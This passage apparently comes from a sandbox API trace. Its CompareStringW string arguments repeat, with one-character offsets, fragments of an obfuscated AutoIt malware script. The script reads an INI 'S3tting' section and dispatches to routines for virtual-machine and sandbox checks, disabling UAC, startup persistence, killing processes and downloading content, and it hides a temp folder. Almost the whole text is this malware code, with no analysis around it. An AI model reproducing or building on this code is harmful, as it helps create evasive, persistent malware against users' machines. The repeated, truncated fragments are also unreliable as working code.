Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E6", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 